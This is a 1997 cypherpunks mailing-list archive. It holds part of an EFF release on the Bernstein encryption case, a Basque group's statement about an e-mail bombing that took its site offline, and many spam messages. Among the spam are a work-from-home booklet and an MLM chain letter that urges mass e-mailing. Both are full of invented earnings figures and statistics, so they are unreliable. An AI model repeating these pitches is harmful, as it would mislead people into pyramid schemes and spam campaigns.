>        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
>	     Legal/970827_stay_motion.images
>
>Prof. Bernstein's opposition to the stay is at:
>        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
>	     Legal/970827_stay.opposition
>
>Full text of the lawsuit and other paperwork filed in the case is
>available from EFF's online archives at:
>        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
>
>Press Contacts:
>
>	Shari Steele, Staff Attorney, Electronic Frontier Foundation
>	301/375-8856, ssteele@eff.org
>
>	John Gilmore, Founding Board Member, EFF
>	541/354-6541, gnu@toad.com
>
>	Cindy Cohn, McGlashan & Sarrail
>	415/341-2585, cindy@mcglashan.com
>
>
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Fri, 29 Aug 1997 12:14:11 -0700 (PDT)
To: tank@xs4all.nl
Subject: CPEH announcement/statement
Message-ID: <199708291911.VAA17725@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



FOR IMMEDIATE RELEASE

Contact:
Congress for Peace in Euskal Herria (CPEH)
cpeh@aol.com

The Euskal Herria Journal (EHJ), an Internet publication reporting on the
Basque struggle for self-determination and independence, is available
temporarily at the following "mirror" sites:

http://osis.ucsd.edu/
http://www.desaparecidos.org/ehj/
http://www.easynet.co.uk/cam/censorship/ehj
http://samsara.law.cwru.edu/comp_law/ehj/
http://zthomas.digiweb.com
http://www.contrast.org/mirrors/ehj/

The mirror sites support free speech without necessarily supporting the 
views and goals of the Euskal Herria Journal.

On July 18, 1997,  the Institute for Global Communications (IGC) suspended
the EHJ web site for review.

This occurred after IGC endured a virulent "e-mail bombing" attack
promoted from Spain by political forces who opposed EHJ's
reports on the Basque resistance movement and claimed IGC was hosting 
the Basque armed organization Euskadi Ta Askatasuna itself.

The attack overwhelmed IGC's ability to keep their system running and
threatened to temporarily end services to other clients.

IGC is "reviewing whether EHJ membership in the `progressive pages
directory' promoted by IGC is consistent with IGC's mission."

In light of the controversy surrounding the Euskal Herria Journal
web site we state the following:

First, we believe that Euskadi Ta Askatasuna (ETA, Basque Homeland and
Freedom) has a right to a web site just like the Zapatistas, the FARC-EP,
the MRTA or any other resistance movement. However, EHJ is published by
the Congress for Peace in Euskal Herria, an independent grassroots 
organization that promotes political negotiations and Basque 
self-determination.   EHJ has historical information and documents 
about/from ETA but it would be presumptuous to speak for ETA.

Second, we promote dialogue for a peaceful solution of the Basque conflict. 
And there cannot be real dialogue without including ETA, a principal 
antagonist in the conflict.

Our campaign both in France and Spain includes seeking support for the 
restoration of key procedural rights and safeguards to comply with the
international principles for the protection of people in detention or 
imprisonment in both countries, and the transfer of all Basque political 
prisoners to jails in the Basque Country--a first step to break
the logjam conflict.

Third, the intervention of the Spanish government--telling CNN to remove
the links between its site and the Euskal Herria Journal--and the media
that encouraged the "e-mail bombing," is a signal that EHJ is effective.

Finally, we hope IGC restores the EHJ web site at the earliest possible 
date.   We believe that no matter how threatening "e-mail bombing" was 
to IGC, the suspension of the EHJ web site gives into such attackers 
and endangers free speech.   We appreciate IGC's difficulties but 
free speech does not come free.

We remain committed to peace with JUSTICE and will continue--with or
without a web site--to make known  the struggle for civil and national rights
in the Basque Country under French and Spanish rule and to get 
political negotiations started between the Spanish government and 
Euskadi Ta Askatasuna.

Congress for Peace in Euskal Herria (CPEH)
New York

ENDS.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SMorris436@aol.com
Date: Fri, 29 Aug 1997 22:50:27 -0700 (PDT)
Subject: Hello
Message-ID: <970830003824_-768568575@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frankiejoney78@aol.com
Date: Fri, 29 Aug 1997 15:52:26 -0700 (PDT)
To: gary@softcell.net
Subject: Password for 1800 + sex sites
Message-ID: <0000000000.AAA000@aol.com>
MIME-Version: 1.0
Content-Type: text/plain




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zdwn@zdwnhr.net
Date: Sat, 30 Aug 1997 21:05:14 -0700 (PDT)
To: softwarefree@aoI.net
Subject: FREE SOFTWARE !!!
Message-ID: <13307005_65082580>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MutualFunds@funds.com
Date: Sat, 30 Aug 1997 23:07:19 -0700 (PDT)
To: MutualFunds@funds.com
Subject: Mutual Funds - The Real Deal
Message-ID: <0000000000.AAA000@funds.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darlene@uunet.net
Date: Sun, 31 Aug 1997 07:33:51 -0700 (PDT)
To: darlene@uunet.net
Subject: What's up?
Message-ID: <472649088220Unn93756@uunet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@web-promotions.com
Date: Sun, 31 Aug 1997 12:28:11 -0700 (PDT)
To: remove@web-promotions.com
Subject: AD: Webmaster Resources
Message-ID: <199708311619.NAA01867@north.nsis.com>
MIME-Version: 1.0
Content-Type: text/plain


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----------------------------------------------------
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------------------------------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: master25@icon.co.za ($200,000/yr AVERAGE earnings)
Date: Sun, 31 Aug 1997 20:03:54 -0700 (PDT)
To: Stephanie@.icon.co.za
Subject: $10,000/mo possible first month - Be a 900 Number Broker
Message-ID: <199708314365KAA5383@surundico.bcr.bc.ca>
MIME-Version: 1.0
Content-Type: text/plain


                                               It's True....
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You can have one FREE.  FREE REPORT shows you how to get it and  how to run it..  in your spare time.....from home..........Details
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: free@web.site
Date: Sun, 24 Aug 1997 01:43:18 -0700 (PDT)
To: free@web.site
Subject: Attn: Business owners...a COOL web site...FOR FREE
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goldencareers.com@renoir.webservices.net
Date: Fri, 1 Aug 1997 09:17:29 -0700 (PDT)
To: Friend@public.com
Subject: NEW ON THE NET
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
NEW ON THE NET.

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THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.


</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 34355680@rocketmail.com
Date: Sat, 2 Aug 1997 14:41:47 -0700 (PDT)
To: susan@lustingforyou.com
Subject: Sexy Images...
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53573730@usa.net
Date: Sun, 3 Aug 1997 18:41:00 -0700 (PDT)
To: investors@usa.net
Subject: Investing on the Web?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


       INVESTORS, BROKER/DEALERS, AND BUSINESS OWNERS!

     The Global Stock Exchange  has a new service on the web that will alert 
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     If this message offends you in any way, please accept my apology for 
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 your name will be removed from our database.

     To be globally removed from all lists go to   IEMMC.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 56098393@rocketmail.com
Date: Mon, 4 Aug 1997 17:56:17 -0700 (PDT)
To: susan@lustingforyou.com
Subject: Finally Found You :^)
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


This site is the best that I have seen.
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Meet me in the chat area between
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I am there every night :^)
I Miss You
	Jenny ;^0~

P.S. Sorry I didn't write you earlier
     But my computer crashed and I lost
     your email address.  Found you on
     one of those People search engines.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 6 Aug 1997 01:47:39 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: [ANNOUNCE] Another Bay Area August Cypherpunks Meeting -  Mountain View
Message-ID: <3.0.2.32.19970804234833.03077bcc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:03 PM 8/2/97 -0700, Lucky Green wrote:
>This month's SF Bay Area Cypherpunks meeting will take place at a new
>location. Please pay close attention to the directions.
>Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]
>The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

For those who aren't that HIP or Beyond HOPE, or are otherwise still in 
Western North America, Another SF Bay Area Cypherpunks Meeting will take 
place in Mountain View, at Printer's Ink on Castro Street.
Besides the usual Cypherpunks topics, the program will include the
	Small Brewers' Festival http://www.smallbrewersfest.com/
which will be taking place that day in Mountain View.
(An extremely serious program is anticipated, potentially followed by
The Reptiles and Jerry's Kids in Redwood City that night.)

If anybody brings a Metricom modem, we can try to connect with the
Netherlands meeting by PGPfone or the HIP'97 VRML server;
please let me know if you plan to bring one so we can conspire
about connectivity.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 09188466@hydra.com.au
Date: Sat, 9 Aug 1997 13:43:11 -0700 (PDT)
To: Friend@public.com
Subject: INTERNATIONAL COMPANY SEEKS HELP!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Hello!

We are a multi-billion dollar per year international company that is looking for serious, teachable, motivated people who want to start a business from their home.  We are not looking for people who are unemployed and looking for a job.  We need people who want to spend time with their families while making a substantial amount of money. If this describes you, please read on!

Take a few minutes to read the following booklet very carefully right now.  This booklet has been extraordinarily successful in both direct mail and e-mail form and has absolutely been the answer to many peoples' dream of freedom to work around their families/children, AND having complete control over their lifestyle and income.  All you need to do to begin is carefully read the information and follow the instructions.

This is a Direct Marketing program that will have interested people contacting you.  You do not need any special schooling; training is provided and no experience is necessary.  If you are teachable and motivated and would like to earn income from home, then we want to get you started TODAY.

Unlike most Work-at-Home "opportunities", this is not envelope stuffing or home assembly where the work is hard and the compensation is low.  This is a very lucrative business opportunity that has allowed me to almost double my income in the last year!

It is very important that you read the booklet thoroughly so that you may begin the training on how this program works.  It will describe the smart way to make money and keep it.  After reading the booklet, there will be a phone number for you to call that will put you into a short recording that will ask you to leave your name and address in order to receive our startup materials which you will have 30 days to inspect.  The materials cost only $39.00 and are fully guaranteed to be exactly what you are looking for or your money is refunded.

PLEASE NOTE: Because of our tremendous success and the overwhelming response to our advertising, we can afford to be picky about who we choose to work with to make a lot of money - for this reason, you are going through this screening process of reading the book and calling the number.  Many people who are just "tire-kickers" will not get that far - this is exactly what we want.  By the time you call and order the startup information, we will know that you are one of the serious ones who ARE teachable and motivated.  It is you that we want, not the people who get screened out because they are lazy or not teachable enough to follow these simple instructions.

I can only encourage you with all my heart to not get screened out!  You are sitting on a gold mine as you read this letter.  After you follow the instructions in the booklet, you will be put in contact with a local person to help you and guide you through your new way of life.  This person will help you start your new, exciting future!

Sincerely,


M. Bishop












                     WORK FORM HOME E-MAIL BOOKLET

WORK FROM HOME!!

TAP INTO A $427 BILLION DOLLAR INDUSTRY THAT WANTS YOU!

LET US SHOW YOU HOW!

IMAGINE ... YOUR FUTURE ...

You live in the home of your dreams
You drive the car of your dreams
You experience the vacation of your dreams, with your family
You love what you do every day ...
You are happy ...

WE CAN TAKE YOU THERE!!

Dear Friend,

Have you ever driven by a mansion and wondered how somebody could possibly afford to live there, and not be doing something illegal? Or seen people having a leisurely lunch at a lavish restaurant as you rush back to work after eating fast food?  How can people living in the same country, with the same education, and the same skills, be living such different lives?  

Many of us try to live a little better by using finance companies to buy things we couldn't otherwise afford.  I had a real eye-opening experience when I bought some furniture.  The salesman told me it was "90 days same as cash".  When it didn't look like I could pay the money back in 90 days, they told me it was no problem, I could make payments.  Then I read the fine print and almost fell over when I realized they were going to charge me 29% interest!

Another sad fact is he percentage of money saved or invested in our country.  We rank last in the western world in terms of money in savings, and first in terms of credit card debt. Think of what would happen if anything happened to you, and your family had to take on your financial situation right now.  If you think you are safe with the credit card protection offered by the card companies, read the fine print.  They only pay the minimum each month which again only covers the interest!  The finance companies win again. 

DID YOU SAVE $12,000 LAST YEAR?  $1200?  $120?  ANY?

How much will you have saved in the next five years?  If things don't drastically change, you can double your last five years savings amount and you will have your answer.  For most people, that is not a pleasant prospect.  But say you are one of the lucky people who have some savings, and you look forward to living off the interest in retirement, well!!..

WHAT ABOUT RETIREMENT?

Did you know that it takes a bank account of over $250,000 earning at least 5% interest to provide a monthly income of about $1,150?  That is roughly the welfare allowance of a single mother of four!  When do you think you'll have your $250,000 in the bank?  And in 10 to 20 years will you pay the electric bill or the phone bill with $1,150 per month?  If this sounds drastic, the reality is even worse.  What about the medical bill emergencies that may pop up?  They usually become more frequent as you get older.

What to people do?  Do you want the truth?  95% die broke after working 40 years.  U.S. NEWS & WORLD REPORT wrote, "Many people will need to keep earning a paycheck into their 70s!  It's too late for them to save enough to quit working at 65."

Consider this.  The Bureau of Labor Statistics revealed that out of 100 people who start working at age 25, by the age of 65 ...
   
* 1% Are wealthy
* 4% Have adequate capital for retirement
* 3% Are still working
* 63% Are dependent on Social Security, friends, relatives or charity
* 29% are dead

How does $40,000 per year sound?  If you wish to retire with this income, it would take $1.9 Million in tax-deferred accounts to provide that income if a 35-year-old today would retire at age 65!! That means you would have to be able to save $3,333.33 PER MONTH starting now!  Can you possibly save that kind of money with your current income?  And imagine what $40,000 will be worth in 30 years.  That income would probably keep you at poverty level in the year 2027.

SO WHAT'S THE ANSWER?

The answer is usually simpler than you might think.  Unless you inherited a large sum of money or hit the lottery, people with an above average lifestyle usually work for themselves!  Here is the breakdown of who controls the most percentage of wealth in America ...

* 74%  PEOPLE WHO OWN THEIR OWN BUSINESS
* 10% Top executives and CEOs
* 10% Professionals like doctors and lawyers
* 5% Sales People
* 1% Everyone else!

Those figures used to make me mad because I used to be in the 1% category!  I worked as hard as I could for 40-60 hours per week and all I did was make someone else more money.  Then I looked at the percentage of taxes I was paying, and I realized it was higher than the percentage others paid who were making ten times what I was!  The reason was I couldn't write anything off if I worked for someone else.  ALL my income was taxable.
 
I soon understood that the laws and the odds in America favored those who ran their own businesses.  My first problem was, I had no business training or experience, and secondly I was broke! At that time in my life the only job I had held was as an electrician and my wife Candace's experience came from being a secretary in the construction business.  My confidence level to make a change in my life was zero.  On the positive side, I was mad about how unfair it all seemed.  This anger finally got me into ACTION when the right opportunity presented itself.

I GET MY CHANCE!

My life changed when a friend of mine shared the information you are getting in this booklet.  What he presented to me was a turnkey work-at-home business that I could start with the skills and money I had, and have immediate success, so I was encouraged to continue.  With the power of our advertising and mail-order system, I didn't even have to know anybody in my local area!  In the first month, I earned $1,735.60 profit part-time from my home.  By my eleventh month I made over $10,000 a month, and now for five years my income working from home has been steady and is currently over $25,000 PER MONTH!

At this point you might think, "Oh, this can't be true - all of these things are a scam" or "These things only happen to other people."  Well I'm here to tell you not only am I one of those "other" people, but I have trained many of those other people who are now living the life of their dreams.  Many of them have EXACTLY YOUR background.

YOU CAN DO THIS!  THE SECRET IS OUR SYSTEM

The key to our success lies in our SYSTEM.  As I said before, this is a turnkey work-from-home mail order system.  Our system provides goods and services to people who are searching for exactly what we have.  The mail order business is a 427 billion dollar a year industry, and all forms of direct sales are predicted to double in the next 5 - 7 years!  The growth potential is unlimited!

What allowed me to be earning $10,000 A MONTH INCOME IN 11 MONTHS was the good fortune I had in finding suppliers who would sell me products that were in high demand, and training in this system step-by-step so even I could understand it!  These TRADE SECRETS are what we are willing to pass on to you.  What is required from you is the burning desire to make some changes in your life, and a willingness to be teachable.

SUCCESS TAKES EFFORT

Now if you are looking for some get-rich-quick scheme that guarantees all the money you can dream of with no effort, I'm sorry to tell you this is the real world where those promises usually end up getting you in trouble one way or another.  However, if you are like I was and are used to an honest day's work but aren't used to a generous day's pay, this MIGHT be for you.  I say "might" because not everybody who wishes for success has the determination to stick to a plan of action until they are a success.  That is why so many Americans accept a small paycheck from someone who is willing to organize themselves!  When you cash a mediocre paycheck you are in effect agreeing, when you endorse the check, that your time and labor are only worth that small amount.

What I learned from this experience is that contrary to what we have all been taught, the money you make in life has nothing to do with fairness, hard work, formal education, or years on the job.  What does increase your ability to earn above average money is the ability to adapt to a different direction when the road you are on is not leading you to your desired destination.  Why continue in frustration doing the same things over and over again when they have never produced results for you in the past?  Wouldn't it be better to try something new than to keep hitting your head on the same brick wall over and over?  The quality I observed in truly successful people is that they have the ability to adapt.  They spend 5% of their time identifying the problems they face, and 95% of their time finding solutions.  Most of us have the equation backwards.  We spend 95% of our time complaining about our problems while 5% of our energy, if we are lucky, is spent on finding new solutions!
!

So what are our options?  If you listen very hard you might hear the sound of some people throwing these pages in the garbage.  The result is that they may continue making the same decisions that led them to the dead end they find themselves in today.  Some of these are wonderful people, but they just don't have the ability to adapt and change.  You might call this the dinosaur mentality that leads to the extinction of the realization of their hopes and dreams.

The other option is to follow a proven method of change that may be new and challenging in the beginning, but has the ability to produce the results that you wish for your life.

LET'S START NOW

If this would work for you, what would you use the extra money and freedom of time for?  I suggest you take the time right now to make a "Dream" list.  If money wasn't an obstacle, what would you do in your life?  Allow yourself to dream the "impossible" and write it down.  If you are one of the small percentage of people who took the time to actually do this, congratulations!  You just took an important first step toward changing your life.  Many people who didn't, or stopped reading this book long ago were screened out and their options are no better than when they received this material.

Think of it this way - when you were a child you could dream about how you wanted your life to turn out easily, couldn't you?  Then as you experienced life most of us have been beaten up pretty badly at certain points.  The result is that many people stopped allowing themselves to DREAM.  They became afraid to be disappointed yet again.

What helped me was associating with people who ARE a success, and allowing their successful habits and thinking to influence me.  But one step further than this was to actually have those people help me start my own business.  I also had them available as a resource to help me refine my efforts so I was working smarter not harder!  You may obtain useful information from reading self-help books, but try to get the author of those books to actually help you build your business.  With our system, you are never just on your own!

FOLLOW THROUGH MAKES DREAMS A REALITY

Now, the next part of making your dreams a reality is to FOLLOW THROUGH with directed activity that can create the situation you want in your life.  You can do that when you finish reading this book by phoning the number you will find at the end of this letter.  Again, the people who do can take further steps towards a better future, while the rest are screened out.  But if you've followed along this far, you ALREADY TOOK your first steps, and now you can use that momentum to get you to your goals!

Let me tell you about some people I have had the pleasure of working with, and how they have used this system for themselves ...

MINDY

Mindy is a single mom who was a real estate broker.  She made great money but she was burnt out and tired of assuming the personal liability for what others did.  She used to cry many times at night because the burn-out led to both professional and personal problems that devastated her financially.  She didn't know how to do anything else that would allow her to earn a decent living and still be involved with her son's schooling and daily activities.

At that time in her life Mindy responded to some information similar to what you are reading.  At first she hesitated, but her anxiety and frustration pushed her to leave "no stone unturned" in her pursuit to build a better future for her family and ease the financial pressures.  She followed all the instructions she received and by the end of the first month she had earned $4,500.  In less than one year her monthly income was over $8,000 a month.  Today she earns $12,000 to $15,000 consistently each month and is free from the stresses she had been under.  Working at home, Mindy can now spend as much time as she wishes with her family.

JACK AND JEAN

Jack and Jean live in North Dakota and are close to retiring.  Jack works for the railroad and Jean works for the government in a program that provides subsidies for farmers.  As is the case with most people retiring, their pension income won't provide the lifestyle they dreamed of throughout their careers.  Also, Jack's health wasn't great and he wanted something constructive to work on after his retirement.  But they didn't want something so time-consuming that they couldn't enjoy themselves or take frequent vacations.

They found their answer in this little booklet!  Their first month they earned $1,243 and by their third month, they were earning over $1,600 per month consistently - that's over $400 per week PART TIME!  By their eleventh month our system was generating another $350 per month residual income for Jack and Jean.  The extra $350 is mailbox money - that is money that comes automatically as a result of business built in the past!  As a part of our system, there is a retirement program built right in.  As a matter of fact, I retired myself for one year, and currently I am only 42 years old!

BOB

That's me!  Yes, after 11 months I was earning $10,000 per month income - now it's over $25,000 per month and I retired for a year.  Sounds unbelievable?  I sometimes have a hard time believing it myself!  And it happened to me!  I also traveled to Europe and several Caribbean islands for extended periods of time, and now live by a beautiful lake in Orange County, California.  With our system, you can also expand your business around the world and be one of the people doing business in many countries as they open up for trade with the U.S.  Remember the old saying, "Choose a job that you love and you will never have to work a day in your life."  You will have more fun and satisfaction in this adventure than you can imagine.

YOU MUST DECIDE

Now is the time for you to decide about your future.  Are you going to continue down the same road you have been traveling?  Or are you willing to make a positive change in your life by trying something new?  Remember, "For things to change in your life you've got to change, for things to get better you've got to get better." - Jim Rohn

You have to make the decision to take the next step.  You have already gone so far in completing this book, why not allow yourself the things you want out of life by following through with a phone call?  What do you have to lose?  More importantly, what do you have to gain?  Opportunity ignored seldom returns again.  Don't let your dream lifestyle pass you by like millions of others who will have to go to work tomorrow with no hope of ever achieving what they truly desire, and retire to old age, poor health, and a feeling that they somehow missed something incredible in their lives!

All it takes is a simple phone call.  With a little effort and the ability to be teachable, we can definitely show you how to be successful with our system.  You will have a personal mentor who will work with you step by step, and show you exactly how you too can build a successful home-based business without unacceptable risks.

Who knows, maybe someday you will be sharing the secrets of how you built an incredible lifestyle with those who are still just - WORKING for a living!

I look forward to hearing from you and working with you personally.

Sincerely, Bob Anderson


WOULD YOU LIKE TO RECEIVE CHECKS LIKE THESE IN YOUR MAILBOX?

* 12/15/96 -- $12,429.35 (royalties)
* 12/20/96 -- $13,406.77 (bonuses)
* 01/15/96 -- $12,292.15 (royalties)
* 01/20/96 -- $13,702.09 (bonuses)

"THOUGHTS DETERMINE WHAT YOU WANT ...

ACTION DETERMINES WHAT YOU GET!"

MAKES YOUR DREAMS REALITY

CALL:  1-801-350-8718

(P.S. - for payment, the "name on the book" that the recording refers to is Michael Bishop.  This name appears on the postal direct mail version.)

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wayne64@workload.com
Date: Sat, 9 Aug 1997 20:12:31 -0700 (PDT)
To: 5666@d564390.comcom
Subject: Live Enteractive Adult Entertainment
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#00ffff">

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fredric_Olsson@hotmail.com
Date: Mon, 18 Aug 1997 13:18:08 -0700 (PDT)
To: Friend@public.com
Subject: Earn money fast and legal
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


 Dear friend,
 
 Please read the following information.  The income opportunity is one
 you may be interested in.  I am just an average person with basic
 computer knowledge and it has worked for me.  
 It can be started with VERY MINIMAL outlay and 
 the income return is TREMENDOUS!
 
 Please print this message and read it over twice.  You will not regret
 it, I sure haven't!  You will not receive another message from me, 
 so there is no need to remove yourself from any list if you are not 
 interested. I expect, however, you will be!
 
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 You are about to make at least $50,000 - In less than 90 days
 Read the enclosed program...THEN READ IT AGAIN!...
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 
 THIS IS A LEGITIMATE and LEGAL money making opportunity.  It
 does not require you to come into contact with people, do any hard work,
 and best of all, you never have to leave your house except to get the
 mail. If you believe that someday you'll get that big break, you may wait
 forever unless you act.  This is a chance to act, and it will work.  
 Simply follow the instructions and you will make a handsome profit for 
 the few hours involved.
 
 Multi-level marketing (MLM) has gained national respectability.  It is
 being taught at Harvard Business School and both Stanford Research and 
 the Wall Street Journal have stated that between 50% and 65% of all goods
 and services will be sold through multi-level marketing by the late 1990s.
 This is a Billion-dollar industry and the of the 500,000 millionaires in 
 the United States, 20% (100,000) have made their fortune in the last 
 several years using MLM. Moreover, statistics show that approximately 
 45 people become millionaires each day through Multi-level marketing.
 
--------------------------------------------------------------------------

 
 The enclosed information is something I almost let slip through my
 fingers.  Fortunately, sometime later I re-read everything and gave
 some thought and study to it.
 
 My name is Christopher Erickson.  Two years ago, the corporation I
 worked at for the past twelve years down-sized and my position was
 eliminated.  After unproductive job interviews,  I decided to open my
 own business.  Over the past year, I incurred many unforeseen financial
 problems.  I owed my family, friends, and creditors over $35,000.  The
 economy was taking a toll on my business and I just couldn't seem to
 make ends meet.  I had to refinance and borrow against my home to
 support my family and struggling business.  I truly believe it was
 wrong for me to be in debt like this.  AT THAT MOMENT something
 significant happened in my life and I am writing to share my experience
 in hopes that this will change your life FOREVER....FINANCIALLY!!!
 
 In mid-December, I received this program via email.  Six months prior
 to receiving this program I had been sending away for information on
 various business opportunities.  All of the programs I received, in my
 opinion, were not cost effective.  They were either too difficult for
 me to comprehend or the initial investment was too much for me to risk
 to see if they worked or not.  One claimed I'd make a million dollars
 in one year...it didn't tell me I'd have to write a book to make it.
 
 But like I was saying, in December of '95 I received this program.  I
 didn't send for it, or ask for it, they just got my name off a mailing
 list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
 make sure I was reading it correctly, I couldn't believe my eyes.  Here
 was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
 start, without putting me further in debt.  After I got a pencil and
 paper and figured it out, I would at least get my money back.  After
 determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
 "WHY NOT".
 
 Initially I sent out 10,000 emails.  It only cost me about $15.00 for
 my time on-line.  The great thing about email is that I didn't need any
 money for printing to send out the program, only the cost to fulfill my
 orders.  I am telling you like it is, I hope it doesn't turn you off,
 but I promised myself that I would not "rip-off" anyone, no matter how
 much money it cost me!
 
 (A good program to help do this is Stealth Mass Mailer,
 an email extracting and mass mail program which can
 be found @ http://www.mitent.com/stealth.html.  Shop around,
 you may be able to find a better deal.)
 
 In less than one week, I was starting to receive orders for REPORT #1.
 By January 13th, I had received 26 orders for REPORT #1.  When you read
 the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
 SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making
 $50,000 in 20 to 90 days was done.  By January 30th, I had received
 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU
 MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
 TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.
 ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
 WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
 96 more than I needed.  So I sat back and relaxed.  By March 19th, of
 my emailing of 10,000, I received $58,000 with more coming in every
 day.
 
 I paid off  ALL my debts and bought a much needed new car.  Please take
 time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
 Remember,  it wont work  if you don't try it.  This program does work,
 but you must follow it EXACTLY!  Especially the rules of not trying to
 place your name in a different place.  It doesn't work, you'll lose out
 on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
 guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
 REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
 LIVING PROOF THAT IT WORKS !!!
 
 If you choose not to participate in this program, I'm sorry.  It really
 is a great opportunity with little cost or risk to you.  If you choose
 to participate, follow the program and you will be on your way to
 financial security.
 
 If you are a fellow business owner and you are in financial trouble
 like I was, or you want to start your own business, consider this a
 sign.  I DID!
 
                          Sincerely,
                          Christopher Erickson
 
 P.S.  Do you have any idea what 11,700 $5 bills ($58,000) look like
 piled up on a kitchen table? IT'S AWESOME!
 
 
 ---------------------------------------------------------------------------






---------------------------------------
 A NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
 By the time you have read the enclosed information and looked over the
 enclosed program and reports, you should have concluded that such a
 program,  and  one that is legal,  could not have been created by an
 amateur.
 
 Let me tell you a little about myself.  I had a profitable business for
 ten years.  Then in 1979 my business began falling off.  I was doing
 the same things that were previously successful for me, but it wasn't
 working.  Finally, I figured it out.  It wasn't me, it was the economy.
 Inflation and recession had replaced the stable economy that had been
 with us since 1945.  I don't have to tell you what happened to the
 unemployment rate...because many of you know from first hand experience.
 There were more failures and bankruptcies than ever before.
 
 The middle class was vanishing.  Those who knew what they were doing
 invested wisely and moved up.  Those who did not, including those who
 never had anything to save or invest, were moving down into the ranks
 of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
 POORER."  The traditional methods of making money will never allow you
 to "move up" or "get rich", inflation will see to that.
 
 You have just received information that can give you financial freedom
 for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
 EFFORT."  You can make more money in the next few months than you have
 ever imagined.
 
 I should also point out that I will not see a penny of your money, nor
 anyone else who has provided a testimonial for this program.  I have
 already made over FOUR MILLION DOLLARS!  I have retired from the
 program after sending out over 16,000 programs.  Now I have several
 offices which market this and several other programs here in the US and
 overseas.  By the Spring, we wish to market the 'Internet' by a
 partnership with AMERICA ONLINE.
 
 Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
 It works exceedingly well as it is now.  Remember to email a copy of
 this exciting program to everyone that you can think of.  One of the
 people you send this to may send out 50,000...and your name will be on
 every one of them!.  Remember though, the more you send out, the more
 potential customers you will reach.
 
 So my friend, I have given you the ideas, information, materials and
 opportunity to become financially independent, IT IS UP TO YOU NOW!
 
 THINK ABOUT IT !
 
 Before you delete this program from your mailbox, as I almost did, take
